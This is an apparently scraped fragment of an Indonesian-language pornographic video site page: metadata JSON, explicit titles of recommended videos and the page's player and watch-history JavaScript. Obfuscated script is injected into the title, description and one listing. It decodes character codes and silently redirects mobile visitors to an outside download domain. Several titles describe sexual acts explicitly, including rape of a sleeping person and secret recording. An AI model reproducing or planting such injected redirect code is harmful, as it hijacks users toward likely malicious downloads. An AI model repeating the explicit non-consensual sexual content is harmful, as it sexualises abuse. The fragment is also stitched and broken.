</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Acara Varietas Amatir Gadis Desa J〇 Menantang Kepala Putar yang Ketat! Jika Anda bisa memasukkannya, hadiahnya 30.000 yen. Jika Anda menang, Anda mendapatkan 30.000 yen.
Acara Varietas Amatir Gadis Desa J〇 Menantang Kepala Putar yang Ketat! Jika Anda bisa memasukkannya, hadiahnya 30.000 yen. Jika Anda menang, Anda mendapatkan 30.000 yen.","site_id":0,"video_url":"https://2605.v155p.com/20260611/diilajSM/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzgzZjdlNmI4ZDEyYmU4MjQ2ZDUxMTliNGRkMTE5OWIuanBn.cache","duration":"04:13:51","actor":[],"lastmod":1783766805,"rating":"7.0","view_count":240,"description":"Acara realitas amatir: Gadis desa J〇 menantang dirinya sendiri untuk melakukan rotor ketat! Jika berhasil, hadiahnya 30.000 yen. Jika menang... (Sisa teks tampaknya tidak terkait dan mungkin spam/iklan.)","tag":["Amatir","Pertunjukan Beragam","pedesaan","tantangan","Rotor","jika","menyisipkan","satu","JPY"],"site_url":"175645","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["多人群交"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzgzZjdlNmI4ZDEyYmU4MjQ2ZDUxMTliNGRkMTE5OWIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"素人综艺乡下妹J〇挑战紧转子!如果你能插入一个,那就是30,000日元。如果你赢了 サディスティックヴィレッジ","s_keywords":"素人综艺乡下妹J〇挑战紧转子!如果你能插入一个,那就是30,000日元。如果你赢了 サディスティックヴィレッジ","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Acara Varietas Amatir Gadis Desa J〇 Menantang Kepala Putar yang Ketat! Jika Anda bisa memasukkannya, hadiahnya 30.000 yen. Jika Anda menang, Anda mendapatkan 30.000 yen.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzc5MTEzZDJiODYwMTNhZGJjZWNiYjQ4YjBhZGQ5MmEuanBn.cache","vod_id":19024088,"title":"JUQ331C Selama 5 tahun terakhir, saya menjalin hubungan pertemanan seksual dengan teman putra saya - saya memiliki hubungan yang tidak pantas dengan seorang gadis yang jauh lebih muda dari saya... Saya mungkin kecanduan ejakulasi.","lastmod":"2025-03-24","duration":"01:54:46","url":"/play/19024088.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTZiOTU0NjJjOWEwZWNjZTBmMDc4YjU2ZWY0YWM1NDEuanBn.cache","vod_id":19022575,"title":"DVDMS440 Observasi Umum Pria dan Wanita AV x Proyek Kolaborasi Cermin Ajaib ~ Seorang mahasiswi berpendidikan tinggi yang ingin menjadi pembawa berita menantang dirinya sendiri untuk menyiarkan komentar memalukan dan cabul sambil terus menatap kamera.","lastmod":"2025-03-24","duration":"02:39:53","url":"/play/19022575.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvM2IzOTAyNDNiMGQ0YjFjZDAzZTU5ZDYxMDFkYWNhOGIuanBn.cache","vod_id":19163807,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}HEYZO 3315 Seorang gadis Rusia yang cantik, baru berusia 20 tahun, menatapmu dengan mata birunya yang cerah, memohon ciuman.","lastmod":"2026-07-11","duration":"01:09:55","url":"/play/19163807.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJlODIzMGZhZDkxMzJiNzU4NjhkYmEzOGU2NmExNTcuanBn.cache","vod_id":19159865,"title":"Dia menjemput seorang gadis cantik dengan tubuh yang bagus yang terlihat menawan dalam balutan bikini dan tidur dengannya. ☆ 10 Amatir Profesional","lastmod":"2026-05-25","duration":"04:46:12","url":"/play/19159865.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzU2ZjcyMzI2YjE5NDQyZDYyYjNhYmMwM2U1YjhkNmYuanBn.cache","vod_id":19012352,"title":"200GANA2257 Seorang playboy berpengalaman membawa seorang gadis ke kamarnya untuk berhubungan seks dan diam-diam merekamnya. Gadis itu cantik dan mungil, tingginya hanya 145 cm dan lebarnya 150 cm! Dia tidak punya pacar dan tidak punya pasangan seks, dan dia masturbasi menggunakan vibrator! Jadi saya memasukkan sebuah tongkat ke dalam vaginanya, yang biasanya tidak akan dia sentuh, dan dia merespons dengan sangat baik.","lastmod":"2025-03-24","duration":"01:07:40","url":"/play/19012352.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGIzZTNkZGRhM2M2M2MxYmU0NWYwZWMxMGQ0YzNkMjIuanBn.cache","vod_id":19002157,"title":"[Cuplikan pertama tanpa sensor] Seorang gadis yang mirip Platinum Oishi Eri memainkan permainan menelan air mani, ejakulasi, dan menyusui.","lastmod":"2025-03-23","duration":"01:08:54","url":"/play/19002157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTYxZDBkMGU3ZjJhNzUyNDg3YTVmYTg5ZGRmMjY3OWIuanBn.cache","vod_id":18998233,"title":"[Indeks Kecabulan: 10/10] Sambil memegang pakaian dalamnya di mulut, dia disetubuhi dari belakang dengan dildo, kedua lubangnya ditembus secara bersamaan, dan dia disetubuhi hingga mencapai orgasme dengan mata terpejam. Sebuah dildo sepanjang 20 cm dimasukkan sepenuhnya ke dalam anusnya.","lastmod":"2025-03-23","duration":"34:03","url":"/play/18998233.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGY3NTczZTg4MDg4OWU0NGQzOWIxOTM0OWUxNTc2YWEuanBn.cache","vod_id":18967790,"title":"Master pribadi terbaru bulan Juli ❤️ Seri ke-19 original Tiger Vegetable, seks tanpa peng","lastmod":"2025-03-22","duration":"00:21:15","url":"/play/18967790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWU4ZWY3NjA0Y2VkNjA5MDZjN2FkMWY2ZWNkNjgxMzYuanBn.cache","vod_id":18984677,"title":"300MIUM-517 [Mahasiswi dengan Klimaks Tinggi] Sewa mahasiswi bertubuh super seksi untuk menjadi pacarmu! Bujuk dia untuk terlibat dalam tindakan seksual terlarang.","lastmod":"2025-03-23","duration":"01:40:50","url":"/play/18984677.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWRjZTM1MWM0NjY2NWZiMGRmMWM3NmQwODkyNzM0MTMuanBn.cache","vod_id":18932560,"title":"[Subtitle Bahasa Mandarin] WANZ-896 Ejakulasi antar pria, penetrasi, cipratan krim! (Rei)","lastmod":"2025-12-14","duration":"01:58:37","url":"/play/18932560.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmNkZDIxYWJhN2JmOWIxNmE4YjVjMTcyNTVmZGZlNTguanBn.cache","vod_id":18993308,"title":"MISM-144 adalah film yang dibuat oleh pengguna Emuko, K. Mi-chan, seorang mantan berandal tomboi dengan bokong seksi dan berisi, mengenakan celana jeans ketat dan menjalani pelatihan seks ekstensif di pemandian air panas. Mi-chan adalah seorang pengemudi truk jarak jauh berusia 27 tahun.","lastmod":"2025-12-14","duration":"02:46:09","url":"/play/18993308.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvZTM4YzFlYmE2MWUzN2VlZWEyMmUyMTgyYTBjNTBhOTAuanBn.cache","vod_id":19037754,"title":"Terangsang secara seksual dan digoda secara cabul oleh seorang tukang pijat pria; diam-diam disetubuhi dan diperkosa secara brutal tanpa kondom saat tidur (situs web resmi).","lastmod":"2025-06-10","duration":"33:52","url":"/play/19037754.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I4MzE2NWFjNGFhYTA0NjBlMjU4OWVkMWEyMzg0ODAuanBn.cache","vod_id":18966840,"title":"Mahasiswi internasional HeiMi - menantang penis pria kulit hitam, menghancurkan vagina Anda, sangat mengerikan, sperma putih mengalir keluar begitu masuk ke dalam vagina, jalang ini sangat bahagia!","lastmod":"2025-12-14","duration":"00:21:22","url":"/play/18966840.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTM1NDY1OTFjMThiZjQ1NmI0N2EwMGJjM2Q5MzQ3MTguanBn.cache","vod_id":19002456,"title":"NNPJ-347 Hanya untuk ukuran G-cup ke atas! Seorang perjaka dengan ejakulasi dini yang pasti berejakulasi sebelum penetrasi mengalami ejakulasi terus-menerus yang sangat menggemaskan selama pengalaman seksual pertamanya! Dia menjemput 4 wanita amatir bertubuh seksi yang bersedia berhubungan seks! Menemukan mereka! Merekam film AV!","lastmod":"2025-03-23","duration":"03:27:59","url":"/play/19002456.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmM2OGI3Y2Y3YzAxMTkyZTE3ZGVlNDYxMDAyNDliM2MuanBn.cache","vod_id":18930024,"title":"JUL-190 Seorang wanita menyembunyikan rahasia yang akan ia bawa hingga ke liang kubur. —Seorang ibu yang merahasiakan golongan darah anaknya—Yuko Shiraki","lastmod":"2025-12-14","duration":"01:58:38","url":"/play/18930024.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWYyZjM0YWU2NzI0MThjNjgyODgxMzhhNDlhODY5NmQuanBn.cache","vod_id":18996134,"title":"DVDMS-268 Luar Biasa! Ibu Rumah Tangga Amatir Berbokong Besar dengan Lingkar Pinggul 92cm","lastmod":"2025-03-23","duration":"02:42:35","url":"/play/18996134.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDc3ZjEzZWVmNWVhMTA5ZWM1OTVhYTlmN2NmNjA4MmIuanBn.cache","vod_id":18967835,"title":"[4K] MADV-534 Pengejaran Sang Master: Jika Anda mengira semuanya berakhir setelah satu ejakulasi, Anda sangat salah... Cocoa Asakura","lastmod":"2025-03-22","duration":"02:20:48","url":"/play/18967835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjQ3ZDExMWFiMWY3MDZmOGQ2ZGQ0MzVhN2ViNjk5ZGYuanBn.cache","vod_id":19143550,"title":"Pelacur sejati, penis berbentuk kuda sepanjang 30 cm, sekali penetrasi dan dia langsung jatuh ke tanah, melampaui batas.","lastmod":"2026-02-15","duration":"16:40","url":"/play/19143550.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvODVkMzE1ZDQzYmMwMzRlMTI2ZTA3OGEzZmQxMjAxZjUuanBn.cache","vod_id":19158821,"title":"Sisipkan rahasia yang tidak dia ketahui. Seorang wanita cantik bertubuh seksi dan seorang pria tua yang bosan berejakulasi di dalam satu sama lain. Masa depan esok hari. Sampai jumpa besok. Polos.","lastmod":"2026-05-18","duration":"01:44:12","url":"/play/19158821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2I2NGI0MzZkMDA1ZWU4MmQxM2Q2N2NlZDdmYTY2ZjUuanBn.cache","vod_id":19141761,"title":"Pelacur kecil yang sangat imut dengan penis di setiap tangan.","lastmod":"2026-02-05","duration":"41:50","url":"/play/19141761.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTYvMzcxZTBkY2Q3OTkxMThjNDc2Y2U0NzQ1ZmZjMzJhOWIuanBn.cache","vod_id":19029201,"title":"Pengiriman NTR amatir: Diam-diam merekam adegan NTR istrinya dan kemudian mengirimkannya. 橘メアリー,ぷーちん KAM-096-C.","lastmod":"2025-04-16","duration":"01:46:09","url":"/play/19029201.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTk5NzFlZjhhZGYxMDczZTY4YWU3MDA3ZmVlNjczZjguanBn.cache","vod_id":18930748,"title":"ATID-390 Bunga dimasukkan ke dalam serangga beracun untuk menghisap nektar. Rin Chibana, Volume 3.","lastmod":"2025-12-14","duration":"00:20:00","url":"/play/18930748.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTYzOGFkNmY4MDRjY2UzNzIxY2RjYTgwNWQzYzYwMzIuanBn.cache","vod_id":18972329,"title":"[Subtitle Bahasa Mandarin] JUQ-225 Saya adalah anak yang diintimidasi. Ibu saya diintimidasi oleh teman sekelasnya, Tada Yuka.","lastmod":"2025-03-23","duration":"01:58:20","url":"/play/18972329.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMzAvNDY4NTg3ZTVlMjA4NWJkNmZhYzJiNzBkNDVmMmRjODIuanBn.cache","vod_id":19060246,"title":"Seorang mahasiswi hukum berhubungan seks dengan seorang pelayan tampan yang memiliki bokong besar. (Ono Yuka, Onosaka Yuika, IPZZ_421)","lastmod":"2025-10-29","duration":"02:01:05","url":"/play/19060246.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Acara Varietas Amatir Gadis Desa J〇 Menantang Kepala Putar yang Ketat! Jika Anda bisa memasukkannya, hadiahnya 30.000 yen. Jika Anda menang, Anda mendapatkan 30.000 yen.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}